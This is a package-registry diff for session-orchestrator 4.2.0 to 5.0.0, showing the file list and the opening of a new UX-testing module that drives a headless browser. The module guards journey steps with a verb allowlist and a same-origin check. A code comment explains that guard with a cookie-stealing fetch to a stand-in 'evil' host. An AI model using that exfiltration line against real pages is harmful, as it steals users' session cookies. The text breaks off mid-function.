session-orchestrator 4.2.0 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agents/skills/session-start/SKILL.md +1 -1
- package/.agents/skills/ux-grill/SKILL.md +22 -0
- package/.claude-plugin/marketplace.json +1 -1
- package/.claude-plugin/plugin.json +3 -2
- package/.codex-plugin/plugin.json +1 -1
- package/.codex-plugin/skills/session-start/SKILL.md +1 -1
- package/.codex-plugin/skills/ux-grill/SKILL.md +21 -0
- package/.codex-plugin/skills/ux-grill/agents/openai.yaml +5 -0
- package/.cursor/commands/ux-grill.md +14 -0
- package/.cursor/skills/session-start/SKILL.md +1 -1
- package/.cursor/skills/ux-grill/SKILL.md +13 -0
- package/.cursor-plugin/plugin.json +1 -1
- package/AGENTS.md +2 -1
- package/CHANGELOG.md +94 -1
- package/README.md +98 -86
- package/agents/dialectic-deriver.md +11 -0
- package/commands/ux-grill.md +51 -0
- package/docs/USER-GUIDE.md +2 -2
- package/docs/codex-setup.md +8 -0
- package/docs/components.md +7 -7
- package/docs/events-schema.md +9 -5
- package/docs/github-mirror-protection.md +61 -20
- package/docs/migration-v5.md +62 -0
- package/docs/scope-collision-guard.md +14 -0
- package/hooks/_lib/hook-import-set.json +44 -2
- package/hooks/_lib/lock-bootstrap.mjs +84 -1
- package/hooks/_lib/vcs-create-matcher.mjs +190 -3
- package/hooks/enforce-scope.mjs +201 -0
- package/hooks/hooks-codex.json +1 -1
- package/hooks/hooks-cursor.json +5 -0
- package/hooks/hooks.json +7 -2
- package/hooks/on-session-start.mjs +171 -49
- package/hooks/post-bash-issue-budget-refund.mjs +375 -0
- package/hooks/pre-auq-clarity.mjs +70 -18
- package/hooks/pre-bash-issue-budget.mjs +51 -4
- package/package.json +2 -1
- package/pi/prompts/ux-grill.md +12 -0
- package/scripts/ci/assert-vitest-green.mjs +4 -2
- package/scripts/dialectic-deriver.mjs +32 -8
- package/scripts/emit-session.mjs +72 -1
- package/scripts/lib/agent-status.mjs +441 -9
- package/scripts/lib/auq/schema.mjs +10 -3
- package/scripts/lib/ci-status-banner.mjs +29 -6
- package/scripts/lib/claude-md-budget-lint.mjs +52 -2
- package/scripts/lib/config.mjs +12 -1
- package/scripts/lib/eval/engine.mjs +7 -1
- package/scripts/lib/file-lock.mjs +114 -13
- package/scripts/lib/git-porcelain.mjs +113 -0
- package/scripts/lib/instruction-budget-guard.mjs +415 -47
- package/scripts/lib/io.mjs +29 -4
- package/scripts/lib/issue-budget.mjs +336 -6
- package/scripts/lib/learnings/sizing-subject.mjs +44 -0
- package/scripts/lib/locks/staging-fence-lock.mjs +19 -38
- package/scripts/lib/locks/state-md-lock.mjs +19 -41
- package/scripts/lib/maintenance-due-banner.mjs +11 -1
- package/scripts/lib/peer-cards/merger.mjs +143 -0
- package/scripts/lib/pre-dispatch-check.mjs +20 -14
- package/scripts/lib/project-hygiene.mjs +81 -30
- package/scripts/lib/quality-gate.mjs +14 -65
- package/scripts/lib/reconcile/engine.mjs +19 -1
- package/scripts/lib/reconcile/writer.mjs +278 -11
- package/scripts/lib/scope-echo.mjs +346 -0
- package/scripts/lib/session-lock.mjs +62 -2
- package/scripts/lib/session-record-repair.mjs +91 -0
- package/scripts/lib/session-schema/filters.mjs +26 -1
- package/scripts/lib/session-start-probes.mjs +419 -53
- package/scripts/lib/test-runner/artifact-paths.mjs +30 -5
- package/scripts/lib/test-runner/issue-reconcile.mjs +45 -8
- package/scripts/lib/tmux-layout/layouts.mjs +62 -4
- package/scripts/lib/ux-grill/collect.mjs +1163 -0
- package/scripts/lib/ux-grill/compare.mjs +285 -0
- package/scripts/lib/ux-grill/manifest.mjs +618 -0
- package/scripts/lib/ux-grill/measures.mjs +431 -0
- package/scripts/lib/ux-grill/paths.mjs +224 -0
- package/scripts/lib/ux-grill/pencil-coverage.mjs +284 -0
- package/scripts/lib/ux-grill/reconcile.mjs +344 -0
- package/scripts/lib/ux-grill/run-record.mjs +316 -0
- package/scripts/lib/ux-grill/schema.mjs +321 -0
- package/scripts/lib/validate/check-untracked-test-deps.mjs +33 -19
- package/scripts/lib/validate/check-unwired-features.mjs +48 -20
- package/scripts/lib/vault-status/board-lock.mjs +18 -0
- package/scripts/lib/vault-status/board-writer.mjs +8 -0
- package/scripts/mcp-server.sh +16 -1
- package/scripts/release.mjs +7 -2
- package/skills/bootstrap/SKILL.md +12 -209
- package/skills/bootstrap/references/bootstrap-ecosystem-health-flow.md +48 -0
- package/skills/bootstrap/references/bootstrap-refresh-lock-flow.md +37 -0
- package/skills/bootstrap/references/bootstrap-retroactive-flow.md +108 -0
- package/skills/bootstrap/references/bootstrap-rules-fetch-bridge.md +64 -0
- package/skills/claude-md-drift-check/SKILL.md +9 -2
- package/skills/claude-md-drift-check/checker.mjs +213 -21
- package/skills/discovery/SKILL.md +6 -173
- package/skills/discovery/probes/vault-staleness.mjs +35 -5
- package/skills/discovery/probes-docs.md +8 -4
- package/skills/discovery/probes-supply-chain.md +4 -2
- package/skills/discovery/probes-ui.md +7 -3
- package/skills/discovery/probes-vault.md +12 -4
- package/skills/discovery/references/discovery-interactive-triage.md +139 -0
- package/skills/discovery/references/discovery-triage-state.md +54 -0
- package/skills/eval/rubric-v1.md +13 -0
- package/skills/evolve/SKILL.md +2 -458
- package/skills/evolve/references/evolve-analyze-mode.md +360 -0
- package/skills/evolve/references/evolve-dialectic-mode.md +139 -0
- package/skills/plan/mode-retro.md +4 -3
- package/skills/reconcile/SKILL.md +10 -0
- package/skills/session-end/drift-operations.md +20 -5
- package/skills/session-end/metrics-collection.md +1 -0
- package/skills/session-end/phase-3-6-tail.md +4 -2
- package/skills/session-end/references/phase-2-quality-gate.md +3 -3
- package/skills/session-end/references/phase-5-issue-cleanup.md +6 -1
- package/skills/session-end/session-metrics-write.md +2 -0
- package/skills/session-plan/SKILL.md +2 -144
- package/skills/session-plan/references/session-plan-task-classification.md +152 -0
- package/skills/session-start/SKILL.md +24 -6
- package/skills/session-start/references/operations-contract.md +114 -0
- package/skills/session-start/references/phase-4-ssot-environment-check.md +22 -20
- package/skills/session-start/soul.md +2 -2
- package/skills/test-runner/SKILL.md +1 -1
- package/skills/tmux-layout/SKILL.md +3 -1
- package/skills/ux-grill/SKILL.md +211 -0
- package/skills/ux-grill/rubric-v2.md +201 -0
- package/skills/ux-grill/soul.md +76 -0
- package/skills/wave-executor/SKILL.md +3 -128
- package/skills/wave-executor/references/wave-executor-quality-gate.md +61 -0
- package/skills/wave-executor/references/wave-executor-state-init.md +86 -0
- package/skills/wave-executor/references/wave-loop-dispatch.md +8 -0
- package/skills/wave-executor/references/wave-loop-review.md +18 -5
- package/templates/_shared/ux-manifest.template.md +149 -0
- package/templates/_shared/journey-manifest.md +0 -114
|
@@ -0,0 +1,1163 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ux-grill/collect.mjs — Stufe 1: the LLM-free mechanical run (PRD § 2 S2).
|
|
3
|
+
*
|
|
4
|
+
* Walks `routes × viewports` (and then the journeys) of a loaded ux-manifest
|
|
5
|
+
* with `agent-browser`, writes the raw artefacts (screenshots, axe JSON,
|
|
6
|
+
* measures JSON) under `.orchestrator/metrics/ux-grill/<run-id>/`, and turns the
|
|
7
|
+
* measured values into fingerprint-stable findings via `schema.mjs`.
|
|
8
|
+
*
|
|
9
|
+
* Three hard properties this module is built around:
|
|
10
|
+
*
|
|
11
|
+
* 1. **Determinism** (PRD § 3 AC "zweimal läuft"): nothing runtime-varying —
|
|
12
|
+
* no timestamp, no run id, no absolute path — ever reaches a finding. Artefact
|
|
13
|
+
* pointers are stored run-dir RELATIVE in `evidence`, and `findings.jsonl` is
|
|
14
|
+
* written sorted by fingerprint, so two runs against the same build diff empty.
|
|
15
|
+
* 2. **No secret ever lands on disk** (PRD § 3 AC "nur die Env-NAMEN"): persona
|
|
16
|
+
* credentials exist only as local variables handed to an `execFile` argv array.
|
|
17
|
+
* Substituted journey step text is never written to an artefact, a finding, a
|
|
18
|
+
* message or stderr — only the step INDEX is.
|
|
19
|
+
* 3. **One seam to the browser**: every `agent-browser` invocation goes through
|
|
20
|
+
* the injected `exec`. `defaultExec` is the only place in this module that
|
|
21
|
+
* touches `node:child_process`, and it always uses an argv ARRAY — a manifest
|
|
22
|
+
* value must never reach a shell (SEC-006/SEC-007 at the process boundary).
|
|
23
|
+
*
|
|
24
|
+
* Exports: CollectError, DEVICE_WIDTHS, JOURNEY_STEP_OVERRUN, STEP_VERBS,
|
|
25
|
+
* defaultExec,
|
|
26
|
+
* sessionName, viewportLocator, journeyLocator, splitStepLine, assertStepArgv,
|
|
27
|
+
* readCommandPayload, readEvalPayload,
|
|
28
|
+
* findingsFromAxe, findingsFromTargets, findingFromOverflow, findingFromTitle,
|
|
29
|
+
* findingsFromErrors, journeyFindings, collect
|
|
30
|
+
*/
|
|
31
|
+
|
|
32
|
+
import { execFile } from 'node:child_process';
|
|
33
|
+
import fs from 'node:fs';
|
|
34
|
+
import path from 'node:path';
|
|
35
|
+
|
|
36
|
+
import {
|
|
37
|
+
CHECK_IDS,
|
|
38
|
+
SEVERITY_BY_CHECK,
|
|
39
|
+
SKIP_REASONS,
|
|
40
|
+
makeFinding,
|
|
41
|
+
makeRunRecord,
|
|
42
|
+
severityForAxeImpact,
|
|
43
|
+
} from './schema.mjs';
|
|
44
|
+
import {
|
|
45
|
+
assertGuardedEnvsLoopback,
|
|
46
|
+
assertLoopbackBaseUrl,
|
|
47
|
+
resolvePersonaCredentials as defaultResolveCredentials,
|
|
48
|
+
} from './manifest.mjs';
|
|
49
|
+
import { hasHorizontalOverflow, parseEvalOutput, titleMatches } from './measures.mjs';
|
|
50
|
+
import {
|
|
51
|
+
artefactStem,
|
|
52
|
+
axeDir,
|
|
53
|
+
findingsPath,
|
|
54
|
+
makeRunId,
|
|
55
|
+
measuresDir,
|
|
56
|
+
runDirPath,
|
|
57
|
+
screenshotName,
|
|
58
|
+
screenshotsDir,
|
|
59
|
+
} from './paths.mjs';
|
|
60
|
+
import { appendRunRecord } from './run-record.mjs';
|
|
61
|
+
|
|
62
|
+
/** Binary driven by this module. Resolved via PATH — the global install is `/opt/homebrew/bin/agent-browser`. */
|
|
63
|
+
const AGENT_BROWSER = 'agent-browser';
|
|
64
|
+
|
|
65
|
+
/** `execFile` stdout/stderr cap. A full-page axe JSON on a large route runs to a few MB. */
|
|
66
|
+
const EXEC_MAX_BUFFER = 16 * 1024 * 1024;
|
|
67
|
+
|
|
68
|
+
/** Per-command wall-clock cap. `agent-browser`'s own waits default to 25 s, so this only catches a wedged daemon. */
|
|
69
|
+
const EXEC_TIMEOUT_MS = 120_000;
|
|
70
|
+
|
|
71
|
+
/**
|
|
72
|
+
* How many steps a journey may run PAST its `max-steps` before we stop.
|
|
73
|
+
*
|
|
74
|
+
* Deliberate ceiling (BV-004): a journey that overshoots its budget is still
|
|
75
|
+
* interesting — `journey-step-count` needs the real step count, and success
|
|
76
|
+
* reached at `max-steps + 2` is a different finding from success never reached.
|
|
77
|
+
* Four is enough to separate "slightly over budget" from "lost"; revisit if a
|
|
78
|
+
* manifest ever declares a journey whose legitimate overshoot exceeds it.
|
|
79
|
+
* @type {number}
|
|
80
|
+
*/
|
|
81
|
+
export const JOURNEY_STEP_OVERRUN = 4;
|
|
82
|
+
|
|
83
|
+
/**
|
|
84
|
+
* The `agent-browser` verbs a journey step may use — an ALLOWLIST, because a
|
|
85
|
+
* manifest is a sixth command-bearing surface beyond the five in
|
|
86
|
+
* `.claude/rules/security.md` § Session Config Command Trust, and this one is
|
|
87
|
+
* invisible to `hooks/pre-bash-destructive-guard.mjs`: `defaultExec` spawns via
|
|
88
|
+
* `execFile` with `shell: false`, so no step argv ever reaches Bash.
|
|
89
|
+
*
|
|
90
|
+
* What the denied half of the CLI surface can do, all measured as ACCEPTED
|
|
91
|
+
* before this allowlist existed (2026-09-12): `upload <sel> <any host path>`
|
|
92
|
+
* and `cookies set --curl <file>` READ arbitrary host files into the page,
|
|
93
|
+
* `download <sel> <path>` and `pdf <path>` WRITE arbitrary host paths,
|
|
94
|
+
* `eval <js>` exfiltrates off-origin (`fetch('http://evil/?c='+document.cookie)`),
|
|
95
|
+
* `connect <port>` retargets the run at a foreign browser, and `close --all`
|
|
96
|
+
* kills every other agent's session on the machine.
|
|
97
|
+
*
|
|
98
|
+
* The list is the UI vocabulary a journey actually needs, each name verified
|
|
99
|
+
* against `agent-browser --help` (v0.37.1, 2026-09-12). `screenshot` is
|
|
100
|
+
* deliberately absent: `collect()` takes its own after each step.
|
|
101
|
+
* @type {ReadonlySet<string>}
|
|
102
|
+
*/
|
|
103
|
+
export const STEP_VERBS = Object.freeze(new Set([
|
|
104
|
+
'back',
|
|
105
|
+
'check',
|
|
106
|
+
'click',
|
|
107
|
+
'dblclick',
|
|
108
|
+
'drag',
|
|
109
|
+
'fill',
|
|
110
|
+
'find',
|
|
111
|
+
'focus',
|
|
112
|
+
'forward',
|
|
113
|
+
'get',
|
|
114
|
+
'hover',
|
|
115
|
+
'is',
|
|
116
|
+
'keyboard',
|
|
117
|
+
'open',
|
|
118
|
+
'press',
|
|
119
|
+
'reload',
|
|
120
|
+
'scroll',
|
|
121
|
+
'scrollintoview',
|
|
122
|
+
'select',
|
|
123
|
+
'snapshot',
|
|
124
|
+
'type',
|
|
125
|
+
'uncheck',
|
|
126
|
+
'wait',
|
|
127
|
+
]));
|
|
128
|
+
|
|
129
|
+
/**
|
|
130
|
+
* Expected `window.innerWidth` per `agent-browser set device` name.
|
|
131
|
+
*
|
|
132
|
+
* MEASURED, never guessed (2026-09-12, agent-browser 0.37.1): each name was
|
|
133
|
+
* applied to a page carrying `<meta name=viewport content="width=device-width,
|
|
134
|
+
* initial-scale=1">` and `window.innerWidth` read back —
|
|
135
|
+
* `iPhone 15` 393 · `iPhone 16` 393 · `iPhone 16 Pro` 402 · `iPhone 17` 402 ·
|
|
136
|
+
* `iPad` 820 · `iPad Pro` 1024 · `Pixel 9` 412 · `Galaxy S25` 360. That is the
|
|
137
|
+
* COMPLETE supported set the tool itself prints when handed an unknown name
|
|
138
|
+
* ("Supported: iPhone 15, iPhone 16, iPhone 16 Pro, iPhone 17, iPad, iPad Pro,
|
|
139
|
+
* Pixel 9, Galaxy S25", exit 1).
|
|
140
|
+
*
|
|
141
|
+
* Two measurement notes, both load-bearing: on a page WITHOUT a viewport meta
|
|
142
|
+
* every one of these names measures 980 (the layout-viewport default), so a
|
|
143
|
+
* width read from such a page proves nothing about the device; and an unknown
|
|
144
|
+
* name leaves the PREVIOUS device in place, which is why an unlisted device
|
|
145
|
+
* without an explicit `expected-width` is skipped rather than trusted
|
|
146
|
+
* (PRD § 5 "set device kennt Gerätenamen nicht").
|
|
147
|
+
* @type {Readonly<Record<string, number>>}
|
|
148
|
+
*/
|
|
149
|
+
export const DEVICE_WIDTHS = Object.freeze({
|
|
150
|
+
'iPhone 15': 393,
|
|
151
|
+
'iPhone 16': 393,
|
|
152
|
+
'iPhone 16 Pro': 402,
|
|
153
|
+
'iPhone 17': 402,
|
|
154
|
+
iPad: 820,
|
|
155
|
+
'iPad Pro': 1024,
|
|
156
|
+
'Pixel 9': 412,
|
|
157
|
+
'Galaxy S25': 360,
|
|
158
|
+
});
|
|
159
|
+
|
|
160
|
+
/** Characters `makeFinding` rejects inside a locator. */
|
|
161
|
+
const LOCATOR_UNSAFE = /[\n\r\0]/g;
|
|
162
|
+
|
|
163
|
+
/** Populated by {@link loadMeasures}; lets the pure helpers classify without an async hop. */
|
|
164
|
+
let classifyTargetSizeRef = null;
|
|
165
|
+
let measuresModule = null;
|
|
166
|
+
|
|
167
|
+
/**
|
|
168
|
+
* Programmer / precondition error. Browser failures are NOT thrown — they are
|
|
169
|
+
* recorded as `skipped` entries in the run-record (PRD § 4 `skipped[]`), because
|
|
170
|
+
* a route that never loaded must not read as "clean" in the next compare run.
|
|
171
|
+
*/
|
|
172
|
+
export class CollectError extends Error {
|
|
173
|
+
/**
|
|
174
|
+
* @param {string} code - machine-readable cause, e.g. `'base-url-unreachable'`
|
|
175
|
+
* @param {string} message - one-line human summary; never carries a secret value
|
|
176
|
+
*/
|
|
177
|
+
constructor(code, message) {
|
|
178
|
+
super(message);
|
|
179
|
+
this.name = 'CollectError';
|
|
180
|
+
this.code = code;
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
/**
|
|
185
|
+
* Spawn `agent-browser` with an argv ARRAY (never a shell string) and resolve —
|
|
186
|
+
* not reject — on a non-zero exit, so the caller can record a skip.
|
|
187
|
+
*
|
|
188
|
+
* @param {string[]} args - argv passed verbatim to `agent-browser`
|
|
189
|
+
* @param {{timeout?: number, cwd?: string}} [opts]
|
|
190
|
+
* @returns {Promise<{stdout: string, stderr: string, code: number}>}
|
|
191
|
+
*/
|
|
192
|
+
export function defaultExec(args, opts = {}) {
|
|
193
|
+
return new Promise((resolve) => {
|
|
194
|
+
execFile(
|
|
195
|
+
AGENT_BROWSER,
|
|
196
|
+
args,
|
|
197
|
+
{ maxBuffer: EXEC_MAX_BUFFER, timeout: opts.timeout ?? EXEC_TIMEOUT_MS, cwd: opts.cwd },
|
|
198
|
+
(error, stdout, stderr) => {
|
|
199
|
+
resolve({
|
|
200
|
+
stdout: String(stdout ?? ''),
|
|
201
|
+
stderr: String(stderr ?? ''),
|
|
202
|
+
// `error.code` is the exit status for a normal failure and a string
|
|
203
|
+
// (e.g. 'ETIMEDOUT') when the child was killed — normalise to a number.
|
|
204
|
+
code: error ? (typeof error.code === 'number' ? error.code : 1) : 0,
|
|
205
|
+
});
|
|
206
|
+
},
|
|
207
|
+
);
|
|
208
|
+
});
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
/**
|
|
212
|
+
* Deterministic fallback `agent-browser` session name.
|
|
213
|
+
*
|
|
214
|
+
* Used only when `session id --scope worktree --prefix uxgrill` is unavailable
|
|
215
|
+
* (the daemon is the SSOT when it answers). Never the default (unnamed) session:
|
|
216
|
+
* that one is shared with every other agent on the machine and would contaminate
|
|
217
|
+
* the captures (PRD § 5 "Zwei Sessions teilen den agent-browser-Default-Daemon").
|
|
218
|
+
*
|
|
219
|
+
* @param {string} repoRoot - absolute repo root; its basename disambiguates hosts
|
|
220
|
+
* @param {string} [runId] - appended when given, making the name unique per run
|
|
221
|
+
* @returns {string} e.g. `'uxgrill-session-orchestrator-1757635200123-9f3a01'`
|
|
222
|
+
*/
|
|
223
|
+
export function sessionName(repoRoot, runId) {
|
|
224
|
+
const slug = String(path.basename(repoRoot || 'repo'))
|
|
225
|
+
.replace(/[^A-Za-z0-9._-]/g, '-')
|
|
226
|
+
.replace(/-+/g, '-')
|
|
227
|
+
.slice(0, 40);
|
|
228
|
+
return runId ? `uxgrill-${slug}-${runId}` : `uxgrill-${slug}`;
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
/** Strip the characters `makeFinding` forbids, so a hostile selector cannot throw mid-run. */
|
|
232
|
+
function safeLocatorPart(value) {
|
|
233
|
+
return String(value ?? '').replace(LOCATOR_UNSAFE, ' ');
|
|
234
|
+
}
|
|
235
|
+
|
|
236
|
+
/**
|
|
237
|
+
* Route-check locator: `route|viewport|selector` (PRD § 2 S2).
|
|
238
|
+
* @param {string} route
|
|
239
|
+
* @param {string} viewportName
|
|
240
|
+
* @param {string} selector
|
|
241
|
+
* @returns {string}
|
|
242
|
+
*/
|
|
243
|
+
export function viewportLocator(route, viewportName, selector) {
|
|
244
|
+
return `${safeLocatorPart(route)}|${safeLocatorPart(viewportName)}|${safeLocatorPart(selector)}`;
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
/**
|
|
248
|
+
* Journey-check locator: `journey|viewport|<name>` (PRD § 2 S2).
|
|
249
|
+
* @param {string} viewportName
|
|
250
|
+
* @param {string} name - journey name
|
|
251
|
+
* @returns {string}
|
|
252
|
+
*/
|
|
253
|
+
export function journeyLocator(viewportName, name) {
|
|
254
|
+
return `journey|${safeLocatorPart(viewportName)}|${safeLocatorPart(name)}`;
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
/**
|
|
258
|
+
* Quote-aware splitter for a manifest journey step line into an argv array.
|
|
259
|
+
*
|
|
260
|
+
* Named ceiling (BV-004): handles single quotes, double quotes and backslash
|
|
261
|
+
* escapes ONLY. No variable expansion, no globbing, no `|`/`&&`/`;` operators,
|
|
262
|
+
* no here-docs — a step line is an `agent-browser` invocation, not a shell
|
|
263
|
+
* program, and the argv never reaches a shell. Revisit only if a manifest needs
|
|
264
|
+
* a genuine shell construct, which would be a scope decision, not a parser bug.
|
|
265
|
+
*
|
|
266
|
+
* The leading `agent-browser` word is dropped when present, so both
|
|
267
|
+
* `agent-browser click @e3` and `click @e3` are accepted.
|
|
268
|
+
*
|
|
269
|
+
* This function is a pure SPLITTER — the verb allowlist and the same-origin
|
|
270
|
+
* check on `open` live in {@link assertStepArgv}, which every caller runs on
|
|
271
|
+
* the result. Keeping them apart means the splitter stays testable without a
|
|
272
|
+
* `base-url` and the guard has exactly one implementation.
|
|
273
|
+
*
|
|
274
|
+
* A step carrying its own `--session` is REFUSED (`step-session-override`): the
|
|
275
|
+
* run's session is this module's isolation boundary — the captures, the error
|
|
276
|
+
* buffer and the `close` in the `finally` all hang off it — and a step that
|
|
277
|
+
* retargets it would drive (and then leave behind) somebody else's browser.
|
|
278
|
+
* `collect()` appends its own `--session` LAST, so it also wins on argv order.
|
|
279
|
+
*
|
|
280
|
+
* @param {string} line
|
|
281
|
+
* @returns {string[]} argv tokens (possibly empty for a blank/comment line)
|
|
282
|
+
* @throws {CollectError} code `step-session-override`
|
|
283
|
+
*/
|
|
284
|
+
export function splitStepLine(line) {
|
|
285
|
+
const out = [];
|
|
286
|
+
let current = '';
|
|
287
|
+
let started = false;
|
|
288
|
+
let quote = null;
|
|
289
|
+
const text = String(line ?? '');
|
|
290
|
+
for (let i = 0; i < text.length; i += 1) {
|
|
291
|
+
const ch = text[i];
|
|
292
|
+
if (quote) {
|
|
293
|
+
if (ch === quote) quote = null;
|
|
294
|
+
else if (ch === '\\' && quote === '"' && i + 1 < text.length) {
|
|
295
|
+
i += 1;
|
|
296
|
+
current += text[i];
|
|
297
|
+
} else current += ch;
|
|
298
|
+
continue;
|
|
299
|
+
}
|
|
300
|
+
if (ch === '"' || ch === "'") {
|
|
301
|
+
quote = ch;
|
|
302
|
+
started = true;
|
|
303
|
+
continue;
|
|
304
|
+
}
|
|
305
|
+
if (ch === '\\' && i + 1 < text.length) {
|
|
306
|
+
i += 1;
|
|
307
|
+
current += text[i];
|
|
308
|
+
started = true;
|
|
309
|
+
continue;
|
|
310
|
+
}
|
|
311
|
+
if (/\s/.test(ch)) {
|
|
312
|
+
if (started) out.push(current);
|
|
313
|
+
current = '';
|
|
314
|
+
started = false;
|
|
315
|
+
continue;
|
|
316
|
+
}
|
|
317
|
+
current += ch;
|
|
318
|
+
started = true;
|
|
319
|
+
}
|
|
320
|
+
if (started) out.push(current);
|
|
321
|
+
if (out[0] === AGENT_BROWSER) out.shift();
|
|
322
|
+
if (out.some((token) => token === '--session' || token.startsWith('--session='))) {
|
|
323
|
+
throw new CollectError('step-session-override', 'journey step carries --session — steps run in the session collect() owns');
|
|
324
|
+
}
|
|
325
|
+
return out;
|
|
326
|
+
}
|
|
327
|
+
|
|
328
|
+
/**
|
|
329
|
+
* Assert a split journey-step argv is inside the allowed vocabulary.
|
|
330
|
+
*
|
|
331
|
+
* Two rules, both DENY-shaped:
|
|
332
|
+
*
|
|
333
|
+
* 1. `argv[0]` must be in {@link STEP_VERBS}. The refused verb IS named in the
|
|
334
|
+
* message — it is manifest text an operator wrote, not a value — but the
|
|
335
|
+
* rest of the argv never is: a step carries `${LOGIN_PASSWORD}` before
|
|
336
|
+
* substitution and the substituted secret after it.
|
|
337
|
+
* 2. An `open` step must resolve to `baseUrl`'s origin, the same predicate
|
|
338
|
+
* `routes[].path` and `journeys[].start` already pass. Without it, `open`
|
|
339
|
+
* was the one allowlisted verb that could still walk the run — and its
|
|
340
|
+
* substituted credentials — onto a foreign page.
|
|
341
|
+
*
|
|
342
|
+
* `baseUrl` is REQUIRED: a guard whose predicate is optional is not a guard.
|
|
343
|
+
*
|
|
344
|
+
* @param {string[]} argv - as returned by {@link splitStepLine}
|
|
345
|
+
* @param {{baseUrl: string}} opts
|
|
346
|
+
* @returns {string[]} the same argv, so callers can chain
|
|
347
|
+
* @throws {CollectError} `step-verb-not-allowed`, `step-open-off-origin`
|
|
348
|
+
* @throws {TypeError} when `baseUrl` is absent
|
|
349
|
+
*/
|
|
350
|
+
export function assertStepArgv(argv, { baseUrl } = {}) {
|
|
351
|
+
if (typeof baseUrl !== 'string' || baseUrl.length === 0) {
|
|
352
|
+
throw new TypeError('assertStepArgv: baseUrl must be a non-empty string');
|
|
353
|
+
}
|
|
354
|
+
const tokens = Array.isArray(argv) ? argv : [];
|
|
355
|
+
if (tokens.length === 0) return tokens;
|
|
356
|
+
const verb = tokens[0];
|
|
357
|
+
if (!STEP_VERBS.has(verb)) {
|
|
358
|
+
throw new CollectError(
|
|
359
|
+
'step-verb-not-allowed',
|
|
360
|
+
`journey step verb ${JSON.stringify(String(verb))} is not in the allowed UI vocabulary`,
|
|
361
|
+
);
|
|
362
|
+
}
|
|
363
|
+
if (verb === 'open') {
|
|
364
|
+
const location = tokens.slice(1).find((token) => !token.startsWith('-'));
|
|
365
|
+
if (location === undefined) {
|
|
366
|
+
throw new CollectError('step-open-off-origin', 'journey step `open` needs a same-origin location');
|
|
367
|
+
}
|
|
368
|
+
// Throws with the URL absent from the message — see resolveWithinOrigin.
|
|
369
|
+
resolveWithinOrigin(baseUrl, location, { code: 'step-open-off-origin', subject: 'journey step `open`' });
|
|
370
|
+
}
|
|
371
|
+
return tokens;
|
|
372
|
+
}
|
|
373
|
+
|
|
374
|
+
/**
|
|
375
|
+
* Read the payload of an `agent-browser <cmd> --json` result.
|
|
376
|
+
*
|
|
377
|
+
* MEASURED envelope (2026-09-12, v0.37.1) — the reason this is not a bare
|
|
378
|
+
* `JSON.parse`, and the reason a failure cannot be read off the exit code alone:
|
|
379
|
+
*
|
|
380
|
+
* ```
|
|
381
|
+
* $ agent-browser get title --json → {"success":true,"data":{…,"title":"Hello"},"error":null}
|
|
382
|
+
* $ agent-browser errors --json → {"success":true,"data":{"errors":[],…},"error":null}
|
|
383
|
+
* $ agent-browser eval "throw 1" --json
|
|
384
|
+
* → {"success":false,"data":null,"error":"…"} EXIT CODE 0
|
|
385
|
+
* ```
|
|
386
|
+
*
|
|
387
|
+
* So `success: false` at exit 0 is a real failure mode, and a caller that only
|
|
388
|
+
* checked `code !== 0` would record "0 findings" for a check that never ran.
|
|
389
|
+
* Every failure shape collapses into `{ok: false}` here and the caller turns
|
|
390
|
+
* that into a `measure-failed` skip.
|
|
391
|
+
*
|
|
392
|
+
* @param {{stdout?: string, code?: number}} result - as returned by `exec`
|
|
393
|
+
* @returns {{ok: true, value: unknown}|{ok: false}}
|
|
394
|
+
*/
|
|
395
|
+
export function readCommandPayload(result) {
|
|
396
|
+
if (!result || result.code !== 0) return { ok: false };
|
|
397
|
+
const parsed = parseEvalOutput(result.stdout);
|
|
398
|
+
if (!parsed.ok) return { ok: false };
|
|
399
|
+
const value = parsed.value;
|
|
400
|
+
if (value && typeof value === 'object' && !Array.isArray(value) && 'success' in value) {
|
|
401
|
+
if (value.success !== true) return { ok: false };
|
|
402
|
+
return { ok: true, value: value.data ?? null };
|
|
403
|
+
}
|
|
404
|
+
return { ok: true, value };
|
|
405
|
+
}
|
|
406
|
+
|
|
407
|
+
/**
|
|
408
|
+
* Read the completion value of an `agent-browser eval … --json` result: the
|
|
409
|
+
* same envelope as {@link readCommandPayload}, plus the `data.result` hop the
|
|
410
|
+
* eval command adds.
|
|
411
|
+
*
|
|
412
|
+
* @param {{stdout?: string, code?: number}} result
|
|
413
|
+
* @returns {{ok: true, value: unknown}|{ok: false}}
|
|
414
|
+
*/
|
|
415
|
+
export function readEvalPayload(result) {
|
|
416
|
+
const payload = readCommandPayload(result);
|
|
417
|
+
if (!payload.ok) return { ok: false };
|
|
418
|
+
const value = payload.value;
|
|
419
|
+
if (value && typeof value === 'object' && !Array.isArray(value) && 'result' in value) {
|
|
420
|
+
return { ok: true, value: value.result };
|
|
421
|
+
}
|
|
422
|
+
return { ok: true, value };
|
|
423
|
+
}
|
|
424
|
+
|
|
425
|
+
/** Flatten an axe `target` (nested arrays preserve shadow-DOM boundaries) into one selector string. */
|
|
426
|
+
function flattenTarget(target) {
|
|
427
|
+
if (Array.isArray(target)) return target.map((part) => flattenTarget(part)).filter(Boolean).join(' >>> ');
|
|
428
|
+
return String(target ?? '').trim();
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
/**
|
|
432
|
+
* One finding per axe violation × node target (PRD § 3 AC: two axe rules on one
|
|
433
|
+
* selector stay two findings, which holds because the rule id is in the checkId
|
|
434
|
+
* and therefore in the fingerprint).
|
|
435
|
+
*
|
|
436
|
+
* @param {object|Array} axeJson - parsed `a11y --json` payload, or its `violations` array
|
|
437
|
+
* @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
|
|
438
|
+
* @returns {object[]} findings
|
|
439
|
+
*/
|
|
440
|
+
export function findingsFromAxe(axeJson, { route, viewport, build, evidence } = {}) {
|
|
441
|
+
const payload = axeJson && typeof axeJson === 'object' ? axeJson : {};
|
|
442
|
+
const violations = Array.isArray(payload) ? payload : (payload.violations ?? []);
|
|
443
|
+
const findings = [];
|
|
444
|
+
for (const violation of Array.isArray(violations) ? violations : []) {
|
|
445
|
+
